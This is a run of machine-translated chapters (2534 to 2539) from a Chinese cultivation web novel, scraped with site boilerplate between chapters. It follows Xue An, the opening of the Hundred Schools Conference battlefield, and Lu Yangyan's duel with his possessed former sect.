    By the time the light was bright on the third day, the twelve Yuanding Cauldrons finally appeared in their complete form after absorbing enough vitality.


    I saw a giant cauldron standing upright like a mountain floating above Yunxiao City.


    The brilliance on the Yuanding tripod is connected to each other, forming a mysterious formation.


    Faintly, there seemed to be Lun Yin, which was a vision caused by the fullness of the heaven and the earth to a certain realm.


    Seeing this scene, someone can''t help but sigh.


    "Speaking of which, how long has Tianwaitian been without this kind of formation?"


    The speaker was Yue Shifang.


    This strategist leader led his army to reappear on the stage of the Hundred Schools Conference after a long absence.


    But when he entered Yunxiao City, he seemed to have evaporated, and he never showed up.


    In fact, he had been hiding in Yangjian''s teahouse during this period, ignoring the turbulent situation outside at all.


    Until today, he got up early and led the crowd to appear on the central square of Yunxiao City.


    now.


    The square is already crowded with people.


    Every one that comes out may be a resounding big shot.


    But in this place, they stood on the square like ordinary people, looking up at the Yuanding giant formation in the sky.


    It was not only Yue Shifang who sighed, but almost all the strong men were whispering.


    "Did you say that the mysterious Donghuang Taiyi will really appear this time?"


    "It should be, after all, even the three shadow gods of the Yin and Yang family have said so, I must not be wrong!"


    "Then what height do you think this Eastern Emperor Taiyi''s strength has reached? Is it true that, as the rumors say, he has reached the realm of the highest peak?"


    "Who dare to say this? But this time the Hundred Schools Conference is full of strong people. I heard that Yue Shifang from the military family has been seriously injured and is already a supreme master of the Supreme Realm!"


    "Yes, and the little son of the Shen family has also appeared. This time the Hundred Schools Conference is really a master!"


    Just as the crowd was sighing, there was a sudden exclamation in the distance, and then the crowd took the initiative to leave a road.


    Then I saw everyone in the Shen family slowly coming from a distance.


    Today, everyone in the Shen family has put on a brand-new attire, which is even more energetic and extraordinary.


    Even those who opened the way in front were awe-inspiring and impressive existence.


    And followed closely by the various masters sent by the Shen family this time.


    As for the highly anticipated Shen Muyu, he walked in the middle of the team surrounded by Shen Hongyi, Shen Gaoge and others.


    This kind of formation attracted everyone''s attention as soon as it came out.


    Yue Qinghuan couldn''t help but sneered, "Brother, this guy made a war agreement with Xue An!"


    Yue Shifang looked at this Shen Muyu deeply, then nodded, "It''s really amazing! Hey, by the way, why hasn''t Xue An arrived yet?"


    The Yang Jian in the crowd shook his head when he heard the words, "I haven''t seen him since the morning!"


    This time, the people in the teahouse can be said to have come out all over the place, the military strategist headed by Yue Shifang, the pharmacist alliance headed by the Nine Heavens Profound Girl, and the Witch Gu headed by Meng Zhu Nasha, Shu Ling''er, and the newly arrived Li Fei. Tribe.


    Coupled with Lu Yangyan brothers and sisters, Yang Jian, and Xiaotian, all forces formed a mighty army.


    But Xue An is the only one missing.


    Yue Qinghuan was also looking for Xue An''s trace, so he couldn''t help frowning after listening.


    "It''s all this time and hasn''t appeared yet, where did he go?"


    While talking, the crowd exclaimed again.


    I saw Moon Huazhong led his hand to appear in the sky, and then bowed his head to wait.


    Immediately afterwards, three tyrannical auras emerged one after another, exactly the three shadow gods of the Yin Yang family.


    The left shadow **** Zhao Haiyuan.


    The right shadow **** Gu Hanguang.


    And the most mysterious mysterious **** Pu Huan.


    The appearance of these three immediately caused a commotion in the audience.


    Because everyone knows that the appearance of the three of them means that the Baijia Conference will start soon.


    Upon seeing this, Yue Qinghuan couldn''t help but feel anxious.


    Because up to this time Xue An still did not appear.


    She lowered her voice and asked, "What''s the matter? Why doesn''t Xue An show up yet?"


    The others looked at each other, and none of them could answer this question.


    And it''s not just her.


    In the Shen family camp in the distance, there are also people in UU reading who have been paying attention to the whereabouts of Xue An.


    Shen Gaoge whispered to Shen Hongyi: "Cousin, that kid doesn''t seem to be here at all!"


    Shen Hongyi didn''t even turn his head. He looked deeply at Yue Qinghuan and the others in the distance, and said coldly: "I''ve seen it a long time ago, so what else do you use?"


    In fact, from the moment he entered, Shen Hongyi had been looking for Xue An''s traces, but found nothing.


    "Do you think this guy is too scared to come?" Shen Gaoge asked.


    Shen Hongyi turned his head and glanced at him, "Do you think a person with such a terrifying kendo cultivation level would escape because of fear?"


    Shen Gaoge shrank his neck and dared not speak.


    Yes!


    One of the ways of swords, the most particular thing is to face difficulties and be fearless.


    If Xue An were still afraid, then he wouldn''t be able to defeat Shen Gaoge and Shen Hongyi at the beginning.


    "Then why hasn''t he come now?"


    Just as Shen Hongyi wanted to speak, at this moment, a sword light across the north and south was suddenly seen in the distant sky, coming straight here with the force of wind and thunder.


    "coming!"


    Yue Shifang and Shen Hongyi, who belonged to different camps, said at the same time.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2534 Conference is opened), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2535： The battlefield opens

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    As soon as the voice fell, the sword light crashed to the ground, and then Xue An''s figure appeared from it.


    Seeing this scene, many people looked at each other.


    Because they didn''t recognize Xue An at all, they didn''t know the origin of the boy in white clothes.


    But some people who knew Xue An couldn''t help but exclaimed.


    "It''s Xue An, the newly born strong young man!"


    "He actually came!"


    In the low noise, Shen Muyu, who stood with his eyes closed in the Shen family camp, suddenly opened his eyes and looked towards Xue An.


    And Xue An seemed to feel it, and looked at him at the same time.


    The eyes of the two met in mid-air, and there was a muffled sound.


    Suddenly, some people who were close to them felt violent and involuntarily backed away.


    As for the others, they were even more horrified.


    Just looking at each other can arouse such a big wave, what is the strength of these two people?


    Just when many people were shaking, Shen Muyu was slightly startled, and a look of surprise flashed in his eyes.


    When Xue An was still in the retreat of the Pharmacist Alliance, he personally came to the door and set up the battle book.


    At that time, Xue An was like a dead person. Although the sword intent was pure, it did not constitute any threat in Shen Muyu''s eyes.


    But he didn''t expect that after only a few days, Xue An not only successfully passed the customs, but also had such an amazing improvement in strength.


    Even in the temptation just now, he was evenly matched with himself, and didn''t let the wind fall in the slightest.


    Shen Muyu was surprised, but Shen Hongyi who stood by was even more surprised than him.


    As the person who had fought against Xue An and was ultimately defeated, her heart was full of dissatisfaction, thinking that she could be ashamed of this one hundred conference.


    But when she felt Xue An''s vague, but incomparably powerful sword intent, her pupils instantly shrank to the size of a pinpoint.


    The strength of this guy has changed drastically from when he was fighting against him.


    And this speed of progress made Shen Hongyi feel deep fear.


    At the same time, Xue An''s mouth was raised, showing a sneer, and then slowly making a gesture of cutting his throat at Shen Muyu.


    This time the audience was shocked.


    You must know that before this, almost everyone was not optimistic about Xue An''s gambling battle with Shen Muyu.


    After all, although Xue An is famous, his foundation is much more shallow.


    Although Shen Muyu was young, he was already a genius who had been famous for a long time.


    Coupled with the so-called undefeated sword power of the Shen family, many people believe that this engagement will definitely end in Xue An''s defeat.


    Unexpectedly, the first meeting between the two was unexpected to everyone.


    First, the trial ended with a close match between the two, and then Xue An, who was supposed to be weak, was so aggressive that he directly threatened Shen Muyu with gestures.


    This is too rare.


    At least Yue Qinghuan''s face was flushed with excitement.


    "Brother, look, Xue An is so handsome now!"


    Yue Shifang looked at his sister who had fallen into the nympho, and smiled helplessly.


    "Silly girl, do you really think he is just playing handsome?"


    "if not?"


    "You still think it''s too simple!" Yue Shifang sighed lightly.


    At the same time, many eyes were focused on Shen Muyu, wanting to see how he reacted.


    But seeing Shen Muyu''s complexion as usual, but her eyes were slightly cold, then she slowly lowered her eyes without any response.


    This disappointed many people.


    Especially many people in the Shen family felt uncomfortable.


    Because this kind of response from Shen Muyu seemed to be a confession.


    For example, Shen Gaoge, he muttered a little dissatisfiedly.


    "What''s the matter? This kid is so arrogant, why don''t the second son do anything to him? If it''s me, he **** up and beat him long ago, you say in red..."


    The latter words were not finished, because Shen Hongyi glared at him fiercely, causing him to swallow all the latter words.


    In fact, only a very small part of the audience saw the clues.


    Take Yue Shifang, for example, he was taken aback for a moment, and then he sighed slightly.


    "It''s really a hero from a young age. Although the battle has not yet begun, the first confrontation between the two has been so exciting!"


    Yue Qinghuan on the side didn''t understand, "What do you mean? Didn''t they just have a face-to-face meeting between them?"


    "You don''t understand! This Shen family has been building momentum from the moment it stepped into the Yin-Yang Star Territory. Now, the sword intent in this Shen Muyu''s chest has been cultivated to the extreme. In this case, if he doesn''t make a move, Therefore, one shot will be a shocking blow!"


    "And Xue An chose to appear on the stage with such an arrogant posture at the last moment, just because of the power of Po Chen Muyu!"


    Yue Qinghuan nodded without understanding, "Then what''s going on behind?"


    The Nine Heavens Profound Girl on the side suddenly took the conversation, "Xue An invisibly declared war to Shen Muyu with a threatening gesture. If Shen Muyu picks it up, the breath in his chest will vent by three points."


    Yue Shifang nodded in agreement.


    "The female emperor is right. This is obviously also Xue Andi''s move in the past. However, this Shen Muyu is not very young, but he has a very deep understanding. He was not irritated. It can be seen that he is called the Shen Family Thousands. The only genius in the past year is not a lie! Sure enough, he is a little real!"


    Yue Qinghuan was dizzy at hearing, and couldn''t help but said: "Where are so many twists and turns, it is simply complicated to listen to, are you sure you are not trying to make up for it?"


    Yue Shifang and Jiutian Profound Girl: "..."


    At this moment, I heard Xue An''s voice, "Is everyone here?"


    With that, his people came to the camp.


    Yue Shifang nodded, "All of us are here!"


    "Okay! Get ready, it''s about to start!" Xue An said lightly.


    As soon as the voice fell, the world was shaking.


    This kind of vibration is different from ordinary vibration, but comes from the tremor of space itself.


    Immediately afterwards, I saw the twelve Yuanding Ding in the sky flourishing.


    The light that was originally connected to each other was quickly overwhelmed, and UU read and merged into one.


    In this dazzling light, a breath that can be called horror is gestating.


    In an instant, an extremely huge, star-like figure appeared in the sky above Yunxiao City.


    As soon as this figure appeared, the three shadow gods of the Yin Yang family, the middle monarch of Yuehua, and all his subordinates knelt to the ground.


    "Welcome to the great man!"


    That''s right!


    The figure that appeared here was the mysterious Eastern Emperor Taiyi.


    Everyone present was shocked, and those with lower strength could not even lift their heads.


    Only the strong can barely look up.


    I saw that the figure that originally occupied the entire sky has shrunk a lot at this moment, but even so it is still very tall.


    He was wearing a long robe, standing upright in the sky, like the lord of the world.


    But his appearance is hidden in the deep chaos, unable to see through at all.


    Xue An stared at this figure deeply, the red lotus in his eyes flashed away.


    And at this moment, I only heard the Donghuang Taiyi slowly speaking in an extremely majestic voice.


    "The battlefield is open!"


    Invincible, the newest chapter address starts from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2535 Battlefield is on), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2536： The first battle

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    boom!


    With an order, the law of heaven in Yunxiao City changed drastically in an instant.


    The twelve Yuanding Cauldrons were directly shattered and blended into the laws of heaven, making them extremely strong.


    Immediately afterwards, the enchanting brilliance quickly condensed and turned into an illusory battlefield, which was held in the palm of the Eastern Emperor Taiyi.


    "Gosh!" someone exclaimed in disbelief.


    Because at this moment, the figure of the Eastern Emperor Taiyi quickly petrified, and in the blink of an eye it turned into a huge idol.


    The battlefield held in the palm of his hand was shining brightly, his face shining like a **** who opened up the universe, full of supreme majesty and mystery.


    At this time, the three shadow gods of the Yin Yang family stood up and shouted loudly: "The battlefield has been opened up, everyone, please come with me!"


    As they said, three figures of them rose into the sky and headed straight for the battlefield in the sky.


    Yuehua Zhongjun and the men of the Yin Yang family followed closely behind.


    In the back, the powerhouses from all over the sky looked at each other, and then flew up and flew towards the battlefield.


    Only Xue An didn''t move, but looked up at this idol, not knowing what he was thinking.


    Yue Shifang glanced at Xue An, "What? Is there a problem?"


    Xue An shook his head, "It''s okay, but there are things to be arranged before leaving! Let''s go!"


    After all, Xue An rose to the sky.


    In his body, soldiers, members of the Witch Gu tribe, and Nine Heavens Profound Girl all followed.


    The closer you get to this idol, the more you can feel the terrifying coercion from it, and the battlefield on the palm of your hand is like a beast that chooses and eats people, constantly devouring people...


    These sudden thoughts made Yue Qinghuan shudder following behind.


    She suddenly had an urge to call Xue An.


    But everything is still too late.


    Almost at the same time, Xue An''s figure had rushed into the battlefield and disappeared.


    Upon seeing this, Yue Qinghuan gritted his teeth, and immediately put aside all the distracting thoughts in his mind, and rushed forward without hesitation.


    But in a moment, most of the people in the square have disappeared.


    All those who are qualified to enter the battlefield of the Hundreds of Congresses have already entered, and the rest are people with poor strength.


    These people got together in twos and threes, talking with excitement about today''s Hundreds Conference, and at the same time speculating about the final result.


    But in this exhilarating atmosphere, these thugs in Liefengzhai were quietly scattered under the pre-arranged route, and then they were arranged in every corner, faintly restraining the entire square. The trend.


    And not only them, but also many evil things controlled by Xue An returned to their respective positions according to a pre-arranged plan.


    This is just a trivial episode, now I will turn my attention back to the battlefield of the Hundred Schools Conference.


    When Xue An passed through the layers of light and fog, his eyes suddenly opened up.


    The first thing that catches your eyes is a wide and tall arena.


    Surrounding the ring are countless stands.


    The Yin-Yang family and others who came in first took up a corner of the stands.


    And when everyone entered the arena one by one, the fog above the ring appeared, and then a line of golden characters appeared.


    The first scene begins.


    Then, in accordance with the results of the previous Hundred Families Conference, the ten lowest ranked families entered the arena in turn and entered the ring.


    When they entered, a huge water mirror appeared above the ring.


    There are countless small images on the water mirror.


    What appears in the picture is exactly the image of each of these ten big families, and it is the kind without dead ends.


    But seeing these ten big families was silent for a moment, and then they almost unanimously moved their hands at the same time.


    In an instant, the call to kill spread through the water mirror throughout the entire stand.


    Everyone''s complexion became serious.


    No matter how powerful the existence is, after entering the battlefield of these hundreds of conferences, they will be in awe.


    There is no other reason, it is really that these 100 conferences are too important.


    It is so important that many small families can thrive and die because of it.


    In addition, the Baijia Conference is an irregular elimination system.


    To put it bluntly, as long as you board this ring, there are only two results.


    One is that you beat the opponent, and the other is that the opponent beats you.


    So everyone was engrossed in watching the images of the ten major clans fighting in the water mirror, wondering what the final result would be.


    Only Xue An sat in the corner, his eyes calmly adjusting his breath silently.


    With each deep breath, his spine was like a stinging dragon and snake, undulating.


    And this ups and downs also allowed the blood in his body to slowly adjust to an optimal frequency.


    Yue Qinghuan looked at Xue An in surprise, and then closed his mouth wisely.


    She understood that Xue An was obviously making preparations.


    And this attitude also shows that the situation that is about to face will be beyond imagination.


    Therefore, Yue Qinghuan also began to silently adjust his qi and blood, making preparations.


    far away.


    Shen Hongyi in the Shen family''s camp gave Xue An a deep look.


    She didn''t know how to describe the feeling in her heart at the moment.


    Once upon a time, she dreamed of defeating Xue An.


    But now that the war is about to be reached, she is a little dazed.


    I hope you can stand under the sword of the second son for a while later, and don''t lose so miserably!


    After all, your life is mine!


    Shen Hongyi clenched his fists silently.


    And it was at this time that the first battle was over.


    This melee came quickly, and it went quickly.


    In the melee of ten families, the one who can stand wins in the end.


    So when this scarred surviving family came out of the ring, many people applauded spontaneously.


    As for those who were defeated, they were directly sent out of the battlefield.


    Then came a short break. UU reading


    During this time, many people''s eyes were peeking at Shen Muyu and Xue An.


    After all, their gambling battle is well known, and everyone wants to know what the outcome of this battle will be.


    What is strange is that both Shen Muyu and Xue An behaved very calmly.


    As if he hadn''t noticed the gaze of the outside world at all, he lowered his head and adjusted his breath silently.


    In the blink of an eye, the second battle started again.


    This time is similar to the first time, and it is still the entry of the family with the lowest score in the previous Hundreds Conference.


    Only this time it was replaced with five.


    After all, as the ranking rises, the strength of these families has become stronger.


    Although it is said that this battlefield was lifted by the Eastern Emperor Taiyi himself, and transformed into twelve Yuanding Cauldrons.


    After all, there are still restrictions.


    And when these five families entered the battlefield, Xue An suddenly raised his head and looked at a corner of the stands.


    Right now, in this corner.


    The true martial art spectators who have not appeared since entering the venue today finally showed up.


    After seeing them, Xue An''s mouth raised slightly, revealing a sneer.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 2536 First Battle), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2537： Clean up the portal

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    At this moment, in the camp of the Zhenwu Taoist Temple, Lu Zhongxuan watched the situation on the ring and said coldly.


    "Be prepared, it''s time for us to play next!"


    "Yes!"


    The people behind have promised.


    At this moment, Lu Fei''s stepped forward and said in a low voice: "Look at the Lord, look over there!"


    As he said, Lu Fei raised his hand and pointed to the stand in the distance.


    Lu Zhongxuan raised his eyes and saw the brother and sister Lu Yangyan and Lu Xiaoya, and his eyes lit up.


    "Very well, this pair of outcasts really came, and when they are on the ring, they will be the first to clean up!"


    In fact, after being infested by evil things, Lu Zhongxuan didn''t show much interest in Lu Yangyan''s brother and sister.


    But he couldn''t stand Lv Fei''s and Lv Xiuming''s constantly lobbying in his ears, coupled with the rapidly swelling confidence, made him prepare to use Lu Yangyan brothers and sisters first, in order to follow the example.


    "After coming to the stage, pay attention. First of all, we must attract the attention of all parties as much as possible, so as to buy time for the adults'' next plans, so it does not matter if you lose at that time. Anyway, few of these people who are here today can survive. Come down!" Lu Zhongxuan exhorted.


    "Yes!"


    "By the way, have all the subordinates outside the battlefield ordered it?"


    "Before I came, I had already handed over all the affairs to the master of Liefeng Village, Bao Huarong, to ensure that nothing went wrong!" Lu Xiuming promised, patting his chest.


    Lu Zhongxuan nodded, "Okay!"


    Immediately thinking of something, he frowned and said, "But why didn''t any of the evil things that entered the battlefield contact us this time?"


    "It should have just entered the battlefield, and haven''t adapted to the coercion here, anyway, there are adults behind, do you still care about these ants?" Lu Xiuming said nonchalantly.


    Although Lu Zhongxuan faintly felt something was wrong, what Lu Xiuming said was correct.


    With the backing of adults, should I care about these?


    Even if things happen to be repeated, no one will be able to overcome the slightest storm with that existing suppression!


    Thinking of this, Lu Zhongxuan relaxed.


    At the same time, the second battle above the ring is also coming to an end.


    boom!


    With a loud noise, the four defeated families disappeared and were teleported out of the battlefield.


    The victor walked off the ring with scars.


    They were greeted by warm applause.


    But before the third battle started, Lu Zhongxuan sneered: "Go! Go up and play with these guys!"


    With that said, he rushed to the arena first, and Lu Fei''an and others followed close behind, and in a flash, they boarded the arena.


    When they appeared on the ring, many people off the court were shocked.


    "What''s the matter? Isn''t this the real martial art from Taoism? What are they doing suddenly on the ring?"


    In the Taoist camp, He Tianxuan of the Zhengyi school and Chongyangzi of the Quanzhen school also looked at each other, and they all saw the doubts in each other''s eyes.


    Although the Taoism of Zhenwu is not a powerful sect among the Taoists with many factions, but after all, it is the inheritance of Zhenwu and its status is respected. Even He Tianxuan and Chongyangzi dare not underestimate it.


    But now it''s not time for them to debut, what are they going to do?


    Just as everyone was puzzled, only this Lu Zhongxuan sneered.


    "Everyone, I am Lu Zhongxuan, the master of Zhenwu Taoism. I believe many people will wonder why we were in the ring before our turn! Now I will tell everyone that we are going to the stage this time to clear the door!"


    With that, Lu Zhongxuan raised his hand and pointed in a certain direction of the stands.


    "Lu Yangyan, Lu Xiaoya, since the two of you have already come, don''t you know to say hello to your master and master?"


    Huh!


    Many people turned their attention to the two brothers and sisters, Lu Yangyan.


    Lu Yangyan''s eyes instantly turned red, his teeth clenched, staring at Lu Zhongxuan on the ring.


    Of course he knew that his master had fallen into the hands of evil things, including his most beloved master, no one was spared.


    So as soon as these people of Zhenwu Taoism appeared, he had already focused on them.


    But he didn''t expect that he hadn''t troubled them yet, Lu Zhongxuan was already clamoring to clean up the door.


    How does this make him tolerate.


    But when he thought of Xue An''s event, he forced himself to bear it again, without saying a word.


    But his silence was exchanged by Lu Zhongxuan''s increasingly rampant clamor.


    "What? You have the ability to defect to the master, but you don''t have the courage to admit it? Even if your mentor comes, do you ignore it?"


    As soon as this remark came out, many people''s eyes looked at Lu Yangyan changed.


    Some people even snorted coldly, their faces full of contempt.


    No matter where you go, anyone who deceives the master and destroys the ancestor or betrays the master will be cast aside by others.


    Lu Zhongxuan clenched his fists, his nails were deeply embedded in the flesh, bleeding was already coming.


    At this moment, Xue An''s indifferent voice came in his ears.


    "You can be on stage, but remember that you must not reveal the true identity of these guys in advance!"


    As soon as this remark came out, Lu Zhongxuan''s eyes were full of brilliance, and he stood up almost instantly and rushed towards the ring.


    "Brother, what are you going to do?" Lu Xiaoya exclaimed.


    "Sit down there, don''t move!" Lu Yangyan shouted, and the people had already rushed to the ring.


    To be honest, Lu Zhongxuan didn''t expect that Lu Yangyan would really dare to take the stage, so he was taken aback first before he burst into laughter.


    "Okay! Let''s not talk about anything else, but the courage is really good, just because of this, I will give you a good time later!"


    Lu Yangyan didn''t speak at all, but stared at this Lu Zhongxuan with a gaze of choosing people.


    Lu Zhongxuan was unmoved and shrugged slightly. UU reading sneered and said, "You don''t have to look at me with that kind of eyes, and I won''t be able to deal with you!"


    With that said, he withdrew back.


    "Lu Zhengqing, since it is your precious apprentice, let you take care of it!"


    The words are full of unspeakable malice and excitement.


    It''s as if this tragedy of master-disciple is the most beautiful scene in the world.


    Lu Zhengqing came forward silently, looking at Lu Yangyan with a dull expression.


    When he saw him like this, Lu Yangyan couldn''t help feeling sad, and tremblingly shouted, "Master!"


    Then he couldn''t say anything, because his eyes had already burst into tears and his throat was choked.


    At this moment, Lu Yangyan remembered a lot, especially when he was excluded from Zhenwu Taoism because of his younger sister.


    Only Lu Zhengqing took good care of herself and taught herself many things.


    Lu Yangyan knew very well that without him, he and his sister would have died a long time ago.


    Therefore, no matter when it came, Lu Yangyan was full of gratitude to Lu Zhengqing and regarded him as a kind father and mentor.


    Unexpectedly, but after a period of time, there was a shock in Funiu Mountain.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click the "Favorites" below to record the reading record of this time (Chapter 2537 Cleanup Portal), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2538： Shock

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    The evil things invaded the sect and infected all the disciples of the sect.


    My master was not spared either.


    After hearing the news from Xue An, Lu Yangyan was almost struck by lightning and almost fainted.


    He finally understood what the inexplicable sense of crisis he suddenly felt back then.


    But it''s too late to regret everything.


    Now he can only stare at Lu Zhengqing, who is like a puppet, with a heart like a knife.


    But at this moment, without knowing whether it was an illusion or what was going on, Lu Yangyan suddenly realized that a glimmer of light flashed in Lu Zhengqing''s eyes.


    This made Lu Yangyan stunned.


    But before he could observe carefully, he heard a grinning smile behind him.


    "Why? Master and disciple are reluctant to do it when they meet? Then I will help you!"


    With this voice, an extremely cold breath suddenly appeared, and it pierced Lu Yangyan''s heart directly.


    Lu Yangyan moved a full ten feet away in an inconvenient time, and it was a hit that could not be avoided.


    When I looked back, I saw Lu Xiuming looking at him with a sneer on his face.


    "Tsk tusk, I really didn''t expect to see an improvement in strength after a few days! But as an outcast, you still have to die today!"


    Following the voice, Lu Xiuming suddenly disappeared and launched an indiscriminate attack on Lu Yangyan.


    After being infested by evil things, this Lu Xiuming''s strength has made great progress.


    Especially in terms of speed, Jane reached a terrifying point.


    Bang bang bang!


    There were waves of fists and fists from the ring, but only the sound was heard but the person was not seen, and Lu Xiuming could not be seen at all.


    Lu Yangyan left and right, fighting with this Lu Xiuming.


    On the side, Lu Zhengqing still stood silent.


    Seeing this, the watcher Lu Zhongxuan couldn''t help crying coldly: "Lu Zhengqing, what are you doing in a daze? Don''t you hurry up?"


    Lu Zhengqing''s whole body shook slightly, and then his aura began to fluctuate, as if a machine was starting up.


    In the blink of an eye, an evil and cold brilliance appeared in his eyes, and then he took a step forward and joined the battle group.


    Lu Yangyan, who had been struggling to support, was suddenly dangerous.


    "Brother!" Lu Xiaoya in the stands couldn''t help exclaiming.


    Upon seeing this, Jiu Tian Xuannv frowned, and then asked in a low voice, "Xue An, should I go up and help him! This is a whole sect, how could it be their opponent by Lu Yangyan alone!" "


    Unexpectedly, Xue An shook his head, then chuckled softly: "No, let''s watch it first!"


    What else did the Nine Heavens Profound Girl want to say? It can be seen that Xue An''s well-thought-out appearance, finally swallowed the rest of the words back.


    But her heart was still full of doubts.


    What does Xue An want to do?


    Does he really think that Lu Yangyan alone can deal with this true martial art?


    Are you kidding me?


    Not only her, there is also a person on the stand at this time who has similar doubts, and at the same time is more nervous.


    That is the holy blessing.


    The person in charge of the Zhujia mining area has the best relationship with Lu Yangyan. They are the two of them walking along the way to participate in the Hundred Schools Conference this time.


    So when he saw the tense situation in the field, he couldn''t help clenching his fists.


    Yang Yan, don''t have anything to do with you!


    As if to respond to his thoughts, he heard a muffled noise from the ring, and then Lu Yangyan staggered out, and at the same time a huge wound appeared on his chest and abdomen.


    Blood gushed out from it, and even the white ribs were faintly visible.


    Lu Xiaoya''s face was instantly pale as paper, and she almost fainted.


    But Lu Xiuming in the field laughed triumphantly when he saw this.


    "Lv Yangyan, you can survive until now that you are fortune-telling, then you can go with peace of mind!"


    With that, Lu Xiuming dropped his toes and was about to pounce on it again.


    The battle in the Pharmacist Alliance that year had made Lu Xiuming hate the brother and sister Lu Yangyan.


    This kind of hatred has not been eliminated even after being infested by evil things, but has intensified.


    So now he really wants to eat Lu Yangyan raw and then hurry up.


    And he did implement it in this way. As long as he rushed to Lu Yangyan''s approach, he was ready to bite down and kill this kid alive.


    He was shaking with excitement when he thought of that scene.


    In his opinion, this would be a sure thing. After all, the current Lu Yangyan was seriously injured, and there was no way to fight back.


    But at the moment when his toes touched the ground, the moment he was about to fly up, Lu Zhengqing, who was standing by the side with a dull face, suddenly had a glorious look in his eyes.


    At the same time, he saw him raising his hands and slapped Lu Xiuming directly with the momentum of the thunderbolt.


    Unprepared, Lu Xiuming didn''t react at all, and was directly slapped on the back by the pair of palms firmly.


    boom!


    There was a loud noise, and then L�� Xiuming plopped and fell to the ground, vomiting blood.


    This was really shocking, and it shocked everyone in the stands.


    "What''s the matter? Why did this man suddenly attack his companion?"


    "Let''s watch first, maybe something we don''t know has happened!"


    Naturally, Lu Yangyan could not hear these discussions. At this moment, he was a little stupid standing on the stage. He stared at Lu Zhengqing blankly, and then at Lu Xiuming, who was already on the ground, who was already unconscious. He didn''t know what to say. .


    At this moment, only a burst of applause came.


    "Wonderful, really wonderful, Lu Zhengqing, it is difficult for you to hide it so deeply, and it is so tolerable, UU reading has been enduring it until now before doing it!"


    It was Lu Zhongxuan who was speaking, and saw him look indifferent, as if what happened had already been expected by him.


    Lu Zhengqing''s complexion changed rapidly, and then he took a deep breath.


    "You have already noticed it?"


    Lu Zhongxuan chuckled, "What do you think? Do you really think you can hide from me by your tricks?"


    At this time, Lu Yangyan finally understood, and couldn''t help but shouted in surprise: "Master, you... are you okay?"


    Lu Zhengqing smiled at him and nodded, "I''m fine, please stand behind me and stay away from these evil spirits!


    That''s right!


    This Lu Zhengqing has not been infested by evil from the beginning, and still maintains a clear self-consciousness.


    But he knew very well that if these evil things found out that he was strange, he would definitely die without a place to bury him, so he hid his subject consciousness, leaving only a trace of the remaining consciousness to control the body.


    Until now, when he saw that his apprentice was about to die, his sleeping subject consciousness had only regained consciousness, and then forcibly took over the body and saved Lu Yangyan.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record this (Chapter 2538 Surprise) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2539： Im waiting

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    "The evil spirit sprite...hehe." Lu Zhongxuan sneered slightly.


    At the same time, the men behind him dispersed silently, faintly forming an encirclement, trapping Lu Zhengqing and Lu Yangyan in it.


    "Do you think others will believe this kind of nonsense?" Lu Zhongxuan asked condescendingly.


    really.


    On the stands at the moment, many people were watching with cold eyes and sneered at the pair of masters and disciples, Lu Zhengqing and Lu Yangyan.


    After all, this kind of betrayal of the teacher''s door is despised and despised wherever it goes.


    Seeing this, Lu Zhengqing took a deep breath and shouted loudly.


    "Listen to the truth, Lu Zhongxuan, who is standing opposite me now, is no longer the former true martial artist, but a puppet controlled by some evil force, and not only him, but now the entire true martial art has fallen!"


    Speaking of this, Lu Zhengqing''s face showed a look of grief and anger, "Even I was controlled by this power and almost fell into the abyss! So..."


    "At this moment, we are not betraying the sect, but slaying demons and eliminating demons to prove the name of Master Zhenwu!"


    After these impassioned words, the audience was quiet.


    After a while, Lu Zhongxuan suddenly laughed arrogantly.


    "Lu Zhengqing, I have to say that the excuse you made is really clever, and everything is controlled by evil forces. You can think of it, but no matter what you say, no one believes you!"


    At the end, Lu Zhongxuan''s eyes were full of sarcasm and mockery.


    It''s like looking at two dying and struggling insects.


    Lu Zhengqing was taken aback, and even if he was unwilling to rush towards the stands, he roared: "What I said is true, sirs, you can..."


    Before he finished speaking, Lu Zhengqing was suddenly blasted out, and then Lu Fei appeared not far behind him, slowly retracted his fist, and sneered.


    "It''s really noisy, so much nonsense, it''s dead!"


